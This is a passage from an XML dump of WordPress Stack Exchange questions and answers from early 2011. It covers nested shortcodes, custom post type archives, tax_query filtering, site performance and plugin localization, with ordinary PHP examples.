$content ){&#xA;extract(shortcode_atts(array(&#xA;'title' =&amp;gt; 'Tab %d'&#xA;), $atts));&#xA;&#xA;$x = $GLOBALS['tab_count'];&#xA;$GLOBALS['tabs'][$x] = array( 'title' =&amp;gt; sprintf( $title,   $GLOBALS['tab_count'] ), 'content' =&amp;gt;  $content );&#xA;$GLOBALS['tab_count']++;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My video short code looks like this [video src=&quot;http://site.com/uploads/example.mp4&quot;]. I imagine I just have to set something in $GLOBALS, but I don't know how I would just pass it through unaltered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(My 'video' short code is being translated by another plugin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: This was the solution to my problem. Adding &lt;code&gt;do_shortcode&lt;/code&gt; to $panes: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$panes[] = '&amp;lt;div id=&quot;'.$tab['title'].'&quot;&amp;gt;&amp;lt;h3&amp;gt;'.$tab['title'].'&amp;lt;/h3&amp;gt;'.do_shortcode($tab['content']).'&amp;lt;/div&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3292" LastEditorUserId="3292" LastEditorDisplayName="" LastEditDate="2011-03-02T12:32:14.450" LastActivityDate="2011-03-02T12:32:14.450" Title="Problem with shortcode inside a shortcode" Tags="&lt;functions&gt;&lt;shortcode&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="10706" PostTypeId="1" AcceptedAnswerId="10709" CreationDate="2011-02-28T14:42:07.453" Score="2" ViewCount="784" Body="&lt;p&gt;I noticed that WP 3.1 supposedly has '&lt;a href=&quot;http://wordpress.org/news/2011/02/threeone/&quot; rel=&quot;nofollow&quot;&gt;new CMS capabilities like archive pages for custom content types&lt;/a&gt;', however, I can't see that implemented yet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using a plugin called 'Simple Custom Post Type Archives' to view custom posts at the url &lt;a href=&quot;http://www.domainname.com/custom-post-type/&quot; rel=&quot;nofollow&quot;&gt;http://www.domainname.com/custom-post-type/&lt;/a&gt;, but wanted to use the in-built capability considering it is 'now possible'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else had the same issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;osu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. I'm using archive-custom_post_type_name.php to try and style my custom post type archive page&lt;/p&gt;&#xA;" OwnerUserId="2685" LastEditorUserId="2685" LastEditorDisplayName="" LastEditDate="2011-02-28T14:49:14.703" LastActivityDate="2011-03-09T17:06:58.797" Title="WP 3.1 - archive pages for custom content types possible now without a plugin?" Tags="&lt;custom-post-types&gt;&lt;archive&gt;&lt;3.1&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="10707" PostTypeId="2" ParentId="10706" CreationDate="2011-02-28T15:14:49.870" Score="1" ViewCount="" Body="&lt;p&gt;Yes, that is implemented in 3.1, you have to make sure that the arguments passed to &lt;code&gt;register_post_type&lt;/code&gt; have the &lt;code&gt;has_archive&lt;/code&gt; flag set to true. See the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type#Arguments&quot; rel=&quot;nofollow&quot;&gt;Codex page&lt;/a&gt; about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also need to visit your permalink settings page and resubmit them, that seems to help things often.&lt;/p&gt;&#xA;" OwnerUserId="2877" LastActivityDate="2011-02-28T15:14:49.870" CommentCount="1" />
  <row Id="10708" PostTypeId="2" ParentId="4999" CreationDate="2011-02-28T15:21:55.513" Score="1" ViewCount="" Body="&lt;p&gt;I think this could be better:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_page_by_slug($page_slug, $output = OBJECT, $post_type = 'page' ) {&#xA;    global $wpdb;&#xA;    $page = $wpdb-&amp;gt;get_var( $wpdb-&amp;gt;prepare( &quot;SELECT ID FROM $wpdb-&amp;gt;posts WHERE post_name = %s AND post_type= %s&quot;, $page_slug, $post_type ) );&#xA;    if ( $page )&#xA;            return get_page($page, $output);&#xA;    return null;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;following the pattern of &quot;original&quot; &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/post.php#L3173&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_page_by_title&lt;/code&gt; of wordpress&lt;/a&gt;. (line 3173) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;rgds&lt;/p&gt;&#xA;" OwnerUserId="3575" LastActivityDate="2011-02-28T15:21:55.513" />
  <row Id="10709" PostTypeId="2" ParentId="10706" CreationDate="2011-02-28T15:22:24.693" Score="10" ViewCount="" Body="&lt;p&gt;Yes, you'll just need to set the &lt;code&gt;has_archive&lt;/code&gt; parameter to true or your chosen slug when registering your custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So firstly add the &lt;code&gt;has_archive&lt;/code&gt; parameter to your post type, here's an example...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'question_10706_init' );&#xA;&#xA;function question_10706_init() {&#xA;&#xA;    register_post_type( 'example', array(&#xA;        'labels' =&amp;gt; array(&#xA;            'name' =&amp;gt; __('Examples'),&#xA;            'singular_name' =&amp;gt; __('Example')&#xA;            ),&#xA;        'public' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array(&#xA;            'slug' =&amp;gt; 'example',&#xA;            'with_front' =&amp;gt; false&#xA;            ),&#xA;        //'has_archive' =&amp;gt; true // Will use the post type slug, ie. example&#xA;        //'has_archive' =&amp;gt; 'my-example-archive' // Explicitly setting the archive slug&#xA;    ) );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;has_archive&lt;/code&gt; parameter supports the following settings.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;false&lt;/strong&gt; (default)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;No archive&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;true&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The archive url is formulated from the post type slug&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;www.example.com/example/&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;'&lt;strong&gt;string&lt;/strong&gt;'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The archive url is explicitly set to the slug you provided&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;www.example.com/my-example-archive/&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Once you've added the parameter visit the permalink page, this will cause a regeneration of the rewrite rules, accounting for the custom post type archive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, create an &lt;code&gt;archive-{$post_type}.php&lt;/code&gt; template to handle that archive (it could be a straight copy-&gt;paste of your existing archive, make adjustments as necessary).&lt;br&gt;&#xA;Noting, that &lt;code&gt;{$post_type}&lt;/code&gt; would of course represent the slug of your actual post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sourced information:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mark McWilliams also wrote about this&#xA;on his blog:&lt;br&gt;&#xA;&lt;strong&gt;&lt;a href=&quot;http://mark.mcwilliams.me/2010/10/wordpress-3-1-introduces-custom-post-type-archives/&quot; rel=&quot;nofollow&quot;&gt;WordPress 3.1 Introduces Custom Post Type Archives&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Trac ticket that introduced the new&#xA;post type archives.&lt;br&gt;&#xA;&lt;strong&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/13818&quot; rel=&quot;nofollow&quot;&gt;Ticket #13818 - There should be index pages for custom post&#xA;types&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope that helps. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-09T17:06:58.797" LastActivityDate="2011-03-09T17:06:58.797" CommentCount="3" />
  <row Id="10710" PostTypeId="1" CreationDate="2011-02-28T15:49:11.850" Score="1" ViewCount="59" Body="&lt;p&gt;I do have prepared theme files (with __(), and _e(), etc), but they lack domain argument. There are lots of such string scattered around the theme files, editing by hand seems to be a dreadful perspective. Is there any tool to do this quickly? I remember there was a script somewhere, but I can't find it now.&lt;/p&gt;&#xA;" OwnerUserId="421" LastActivityDate="2011-03-02T06:11:00.287" Title="Is there a quick way to inject i18n domain into theme/plugin files?" Tags="&lt;plugins&gt;&lt;theme-development&gt;&lt;themes&gt;" AnswerCount="2" />
  <row Id="10711" PostTypeId="2" ParentId="10704" CreationDate="2011-02-28T15:53:35.877" Score="0" ViewCount="" Body="&lt;p&gt;try &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-postratings/&quot; rel=&quot;nofollow&quot;&gt;WP-PostRatings&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;its what i use most of the time for my rating and voting needs and it keeps track and limits user to vote once.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-28T15:53:35.877" CommentCount="2" />
  <row Id="10712" PostTypeId="2" ParentId="10704" CreationDate="2011-02-28T15:55:39.990" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-postratings/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-postratings/&lt;/a&gt;&#xA;I've used this plugin for years.  Can be configured to use +/- type ratings or 5 start type ratings.  Can easily use your own graphics as well.  Can track votes by cookie, IP, cookie+IP, or username (for limiting number of votes by any of those)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can include the rating on every post by including&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(function_exists('the_ratings')) { the_ratings(); } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or on individual posts using the [ratings] shortcode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All votes get displayed on the backend with username, post rated, rating, and date/time and IP/host&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-02-28T15:55:39.990" CommentCount="2" />
  <row Id="10713" PostTypeId="1" AcceptedAnswerId="10749" CreationDate="2011-02-28T15:59:17.523" Score="1" ViewCount="1825" Body="&lt;p&gt;I'm trying to filter my posts using multiple custom taxonomies for my custom posts with the following code, but I keep getting blanks with my new code i.e. no posts appear in the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works like this: the user chooses a term for custom taxonomies 'fttype', 'ftperiod' and 'ftduration' from three different  dropdowns in a form, and this is passed to the code below as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;$ft_t_ns&lt;/li&gt;&#xA;&lt;li&gt;$ft_p_ns&lt;/li&gt;&#xA;&lt;li&gt;$ft_d_ns&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I originally had this code (which works, albeit without pagination), but the new code I'm trying to implement so that I can use WP 3.1's in-built capability of filtering by multiple custom taxonomies isn't working (see my new code further down).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone see what I'm doing wrong here? Been fighting with this for a while...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;osu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OLD CODE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set todays date to check against the custom field StartEventDate&#xA;$todaysDate = date('Y/m/d');&#xA;&#xA;// Convert spaces in taxonomies and terms into hyphens so that search works correctly (uses slug)&#xA;$ft_t_ns = osu_convert_spaces($ft_t);&#xA;$ft_p_ns = osu_convert_spaces($ft_p);&#xA;$ft_d_ns = osu_convert_spaces($ft_d);&#xA;&#xA;// Build query&#xA;// NOTE: AS OF WP 3.1, SEE V2 FOR HOW TO PASS AN ARRAY TO query_posts(). YOU PROBABLY WON'T NEED&#xA;// QUERY MULTIPLE TAXONOMIES PLUGIN EITHER FOR V2'S APPROACH OF PASSING AN ARRAY TO WP_Query() TO WORK.&#xA;// READ MORE ON 'MULTIPLE TAXONOMY HANDLING' HERE:&#xA;// http://codex.wordpress.org/Function_Reference/query_posts#Taxonomy_Parameters&#xA;$ft_args = 'post_type=ftevent';&#xA;$ft_args .= '&amp;amp;fttype=' . $ft_t_ns;&#xA;$ft_args .= '&amp;amp;ftperiod=' .$ft_p_ns;&#xA;$ft_args .= '&amp;amp;ftduration=' . $ft_d_ns;&#xA;$ft_args .= '&amp;amp;posts_per_page=' . $ft_ppp;&#xA;$ft_args .= '&amp;amp;meta_key=StartEventDate&amp;amp;meta_compare=&amp;gt;=&amp;amp;meta_value=' . $todaysDate;&#xA;$ft_args .= '&amp;amp;orderby=meta_value&amp;amp;order=ASC&amp;amp;paged=' . $paged;&#xA;&#xA;// Create query&#xA;query_posts($ft_args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NEW CODE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ft_args = array(&#xA;    'post_type' =&amp;gt; 'ftevent',&#xA;    'posts_per_page' =&amp;gt; 5,&#xA;    'paged' =&amp;gt; $paged,&#xA;    'orderby' =&amp;gt; 'meta_value',&#xA;    'order' =&amp;gt; 'ASC',&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; 'StartEventDate',&#xA;            'value' =&amp;gt; $todaysDate,&#xA;            // Custom field type. Possible values are 'NUMERIC', 'BINARY', 'CHAR', 'DATE', 'DATETIME', 'DECIMAL', &#xA;            // 'SIGNED', 'TIME', 'UNSIGNED'. Default value is 'CHAR'.&#xA;            'type' =&amp;gt; 'DATE',&#xA;            // Operator to test. Possible values are 'LIKE', 'NOT LIKE', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN'.&#xA;            // We choose 'BETWEEN' because we need to know the date has not passed to show the event&#xA;            'compare' =&amp;gt; 'BETWEEN'&#xA;        )&#xA;    ),&#xA;    'tax_query' =&amp;gt; array(&#xA;        'relation' =&amp;gt; 'AND',&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'fttype',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; $ft_t_ns,&#xA;            // Operator to test. Possible values are 'LIKE', 'NOT LIKE', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN'.&#xA;            // We choose 'IN' because we need to make sure the term is in the current array of posts&#xA;            'operator' =&amp;gt; 'IN',&#xA;        ),&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'ftperiod',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; $ft_p_ns,&#xA;            'operator' =&amp;gt; 'IN',&#xA;        ),&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'ftduration',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; $ft_d_ns,&#xA;            'operator' =&amp;gt; 'IN',&#xA;        ),&#xA;    )&#xA;);&#xA;&#xA;// Create query&#xA;query_posts($ft_args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2685" LastActivityDate="2011-02-28T23:44:40.120" Title="WP 3.1 getting tax_query to work in query_posts()" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;3.1&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="10714" PostTypeId="1" CreationDate="2011-02-28T15:43:40.447" Score="2" ViewCount="331" Body="&lt;p&gt;I have read every wordpress solution and tried them all (at least most), but I CAN NOT get my site to run faster. I am using the couponpress theme, which is a coupon listing theme where users can list different offers and coupons. I'm finished customizing it but I'm having real speed issue!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I included a query count and load time function in the footer of my site and &lt;strong&gt;the site runs 40-52 queries and loads in 4-8 seconds (depends on page)&lt;/strong&gt;, too many queries and too slow for comfort. I would like to get the speed to down to at least 2 seconds. I looked into the queries being ran and one in particular, the &quot;wp_schedule_event,&quot; is generating an extremely large query, but not sure how to reduce it or eliminate it. I searched for any references to this function but I don't know what to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried different plugins and either they don't work as expected or they crash my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Main plugins Ive tried:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;W3 Total Cache (Didn't work as expected)&lt;/li&gt;&#xA;&lt;li&gt;WP Super Cache (Didn't work as expected)&lt;/li&gt;&#xA;&lt;li&gt;Autoptimize (crashed)&lt;/li&gt;&#xA;&lt;li&gt;WP Minify (crashed)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;W3 Total Cache had the best results, but &lt;strong&gt;I couldn't understand the cache settings and some of my changes to the site were not being applied&lt;/strong&gt;, so I deactivated it. I know that I have to clear the cache for changes to take effect, but since users to my site will be always be adding new listing, I don't know if the cache settings will allow their listings to display properly or at all for that matter. WP Super Cache didn't crash my site at first, but when I changed some settings I did not see any increase in speed. The other two seemed promising but for one reason or another crashed my site. There are probably conflicts between plugins and with some existing code, but I can't pin point the cause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using firefox, I ran firebug and used the net console to see what processes are being ran  on the different pages and &lt;strong&gt;the initial load to the domain is taking a long time to load, average 7-9 seconds&lt;/strong&gt;. Most of this time is the &quot;waiting&quot; part of the process. I researched solutions to reducing this waiting time but can't increase the speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really want to speed up my site and I need some major help with this. I have been struggling for the past week trying different options but nothing seems to make it faster. If you need to check out the site &lt;strong&gt;&lt;a href=&quot;http://www.savingsulove.com&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/strong&gt; it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot, I appreciate any advice with this.&lt;/p&gt;&#xA;" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-03-31T04:22:37.747" LastActivityDate="2011-03-31T04:22:37.747" Title="WordPress SLOW, tried everything!" Tags="&lt;performance&gt;" AnswerCount="6" CommentCount="7" />
  <row Id="10715" PostTypeId="2" ParentId="10714" CreationDate="2011-02-28T15:48:50.533" Score="0" ViewCount="" Body="&lt;p&gt;I'm no expert but using the permalink structure you have on a large site can cause problems (you should start the permalink with date or postid etc) rather than something text based. Do you have many posts?&lt;/p&gt;&#xA;" LastActivityDate="2011-02-28T15:48:50.533" CommentCount="1" />
  <row Id="10716" PostTypeId="2" ParentId="10714" CreationDate="2011-02-28T15:52:05.740" Score="0" ViewCount="" Body="&lt;p&gt;Another one to try is &lt;a href=&quot;http://wordpress.org/extend/plugins/hyper-cache/&quot; rel=&quot;nofollow&quot;&gt;hyper cache&lt;/a&gt;. Also, perhaps try &lt;a href=&quot;http://wordpress.org/extend/plugins/db-cache/&quot; rel=&quot;nofollow&quot;&gt;DB Cache&lt;/a&gt;, which is supposed to cache the queries. I've used hyper cache successfully, but I wasn't in your situation. I've never tried DB Cahe.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-28T15:52:05.740" />
  <row Id="10718" PostTypeId="1" CreationDate="2011-02-28T16:16:41.397" Score="0" ViewCount="124" Body="&lt;p&gt;I'm trying to get the custom archives per post-type working, but after a week of trying, searching and scratching head I still cannot get it working. I'm mainly talking about the &lt;code&gt;{post-type}/{year}&lt;/code&gt; or &lt;code&gt;{post-type}/{year}/{month}&lt;/code&gt; permalinks. They always throw a &lt;code&gt;404&lt;/code&gt;. Only &lt;code&gt;index.php?year={year}&amp;amp;monthnum={month}&amp;amp;post_type={post_type}&lt;/code&gt; links do work. So right now I temporarily created some custom rewrite rules which translate permalinks in working links. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, how to get the native archive functionality working for post-types? I am clueless about what is the difference between the &lt;code&gt;archive-{posttype}.php&lt;/code&gt;, &lt;code&gt;type-{posttype}&lt;/code&gt; and &lt;code&gt;date.php&lt;/code&gt; templates and tried all of them to get them working. No luck though. &lt;code&gt;type-{posttype}.php&lt;/code&gt; does work in order to list all the post-types, but &lt;code&gt;archive-{posttype}.php&lt;/code&gt; or &lt;code&gt;date.php&lt;/code&gt; do not make the &lt;code&gt;/{year}/{month}&lt;/code&gt; permalinks to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically what I need is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/{post-type}&lt;/code&gt; to list all the posts of this custom post type&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/{post-type}/{year}&lt;/code&gt; to list all of them of a particular year&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/{post-type}/{year}/{month}&lt;/code&gt; to specify further on a month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And lastly: is there a template to be created which outputs all the years and months of the custom post type with &lt;code&gt;wp_get_archives()&lt;/code&gt;? Or do I have to create a different template to create them for each post-type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope I was a bit clear. Running on wp3.1&lt;/p&gt;&#xA;" OwnerUserId="3323" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-02-28T18:04:55.593" LastActivityDate="2011-02-28T18:19:46.610" Title="Can anyone clarify difference between archive-{posttype}.php, type-{posttype} and date.php?" Tags="&lt;custom-post-types&gt;&lt;archive&gt;&lt;date-time&gt;" AnswerCount="2" />
  <row Id="10719" PostTypeId="1" CreationDate="2011-02-28T16:25:15.630" Score="0" ViewCount="671" Body="&lt;p&gt;On our development site, we upgraded to version 3.1 and it has broke every use of jQuery in Internet Explorer 8. Everything works fine in Firefox (and IE8 Compatibility mode)- but in IE8, all jQuery functionality is gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are now javascript errors in prototype.js, jquery.js, lightbox.js and every other javascript file that is being called.&lt;/p&gt;&#xA;" OwnerUserId="3577" LastActivityDate="2011-08-25T05:34:28.947" Title="jQuery in IE8 no longer works after 3.1 upgrade" Tags="&lt;jquery&gt;&lt;3.1&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="10720" PostTypeId="2" ParentId="10714" CreationDate="2011-02-28T16:34:28.400" Score="0" ViewCount="" Body="&lt;p&gt;Try changing your permalink structure to: /%post_id%-%postname%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this may speed things up and still includes keywords for SEO.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-28T16:34:28.400" />
  <row Id="10721" PostTypeId="1" AcceptedAnswerId="10724" CreationDate="2011-02-28T16:36:04.640" Score="0" ViewCount="187" Body="&lt;p&gt;I'm experiencing an internal server error on a site, but only on the publicly facing site, and on certain pages in the admin section, including posts (&lt;code&gt;/wp-admin/edit.php&lt;/code&gt;) and anything else accessing &lt;code&gt;/wp-admin/edit.php&lt;/code&gt; (e.g. pages and custom post types), and media (&lt;code&gt;/wp-admin/upload.php&lt;/code&gt;). Every other admin page seems to work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize this is likely a server issue, but it's so strange (some pages are fine, others not), that I thought it would be worth asking about. I've deactivated all plugins and checked the &lt;code&gt;error_log&lt;/code&gt; files (especially in /wp-admin), but haven't found anything. I should also note that I'm seeing &lt;a href=&quot;http://en.wikipedia.org/wiki/Core_dump&quot; rel=&quot;nofollow&quot;&gt;core dump&lt;/a&gt; files written to the server each time a page returns an error, but I'm not sure how/if I can analyze those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This did happen after attempting to move the site to a different domain, if that helps. I believe I did everything correctly, but it's possible (and even likely, given the problem) that I didn't.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-03-08T22:08:08.920" Title="Internal Server Error only on frontend and certain admin pages" Tags="&lt;errors&gt;&lt;server&gt;&lt;internal-server-error&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="10722" PostTypeId="2" ParentId="10562" CreationDate="2011-02-28T16:39:52.577" Score="2" ViewCount="" Body="&lt;p&gt;If by &quot;main&quot; category you mean the category that is used to create the permalink, &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/link-template.php#L120&quot; rel=&quot;nofollow&quot;&gt;the default is to use the category with the lowest ID&lt;/a&gt;. You can access the post also with an URL that contains another category, but &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/canonical.php&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;rewrite_canonical()&lt;/code&gt; function will kick in&lt;/a&gt; and redirect you to the &quot;canonical&quot; URL with the &quot;main&quot; category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you hook into the &lt;code&gt;get_permalink()&lt;/code&gt; function and return a URL based on another category, the canonical rewriter will notice this and it won't redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you will need to create a UI in the post creation screen to select the &quot;main&quot; category, and hook into &lt;code&gt;post_link&lt;/code&gt; to create URLs with this category.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-28T16:39:52.577" />
  <row Id="10723" PostTypeId="2" ParentId="10714" CreationDate="2011-02-28T16:42:35.443" Score="2" ViewCount="" Body="&lt;p&gt;This probably deserves a much longer answer, but in a nutshell:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You need to determine what is making your site 'slow'&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a simple a badly designed theme? You can figure this out by using &lt;a href=&quot;http://developer.yahoo.com/yslow/&quot; rel=&quot;nofollow&quot;&gt;http://developer.yahoo.com/yslow/&lt;/a&gt; to find out which parts of the HTML/JS can be optimised. This is the most visible effect of speed, simply spending time cleaning this up can make the site render pages much much quicker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've fixed up your theme (aim for A grade) you can next look towards the server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you allowing browsers to cache resources so they don't have to request them again? Simply setting the correct headers ensures that CSS and JS don't have to be re-downloaded for each pageview,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it generating the pages which is taking a long time or getting the information to serve those pages. Is your server at high load, does it have available memory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, it might be that your server is too slow to generate the pages quickly, you might want to install APC Cache which will cache the output from the page, so it can be quickly regenerated next time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second it might be the database which is really slow, so you might want to look at using Memcached so speed up reads. Once a SQL query has been done one, it is stored in memory so it can easily be read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;W3 Total Cache is the better out of those plugins as it allows you pick different solutions to solving those problem, anything from file based storage, to APC and Memcached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to look at geographically placing your server closer to where your users are or you might want to look at using a cache server in front of your site to speed things up like Varnish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;In short:&lt;/em&gt; There are lots of different ways to 'fix' this problem, there is no magic bullet, you need to take measurements, do investigations and fix each problem one by one. Start with the HTML, then look towards the server.&lt;/p&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2011-02-28T16:42:35.443" CommentCount="4" />
  <row Id="10724" PostTypeId="2" ParentId="10721" CreationDate="2011-02-28T16:46:11.557" Score="1" ViewCount="" Body="&lt;p&gt;I get internal server errors quite often in my everyday coding work if i misspell PHP function names in my code. So try deactivating your plugins and re-enabling one by one.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-28T16:46:11.557" CommentCount="2" />
  <row Id="10725" PostTypeId="1" AcceptedAnswerId="10729" CreationDate="2011-02-28T16:56:16.697" Score="2" ViewCount="103" Body="&lt;p&gt;Plugin queries remote API and under certain circumstances (mostly errors) displays textual messages from API responses. All messages in API responses are in English, but since they are more or less integrated in plugin it would make sense to make them localized and display-able in different language to match plugin's interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretical question - should such messages be localized at all or are they out of scope for localization?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coding question - how do you even localize such and retain compatibility with related tools? Does something like &lt;code&gt;__( $message );&lt;/code&gt; even make sense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past I used &lt;a href=&quot;http://wordpress.org/extend/plugins/codestyling-localization/&quot; rel=&quot;nofollow&quot;&gt;Codestyling Localization&lt;/a&gt; which relies on scanning plugin's source to extract strings... But there is nothing to extract since strings are not contained in plugin's body.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-16T11:32:56.717" LastActivityDate="2011-03-16T11:32:56.717" Title="Localizing strings that come from outside of plugin?" 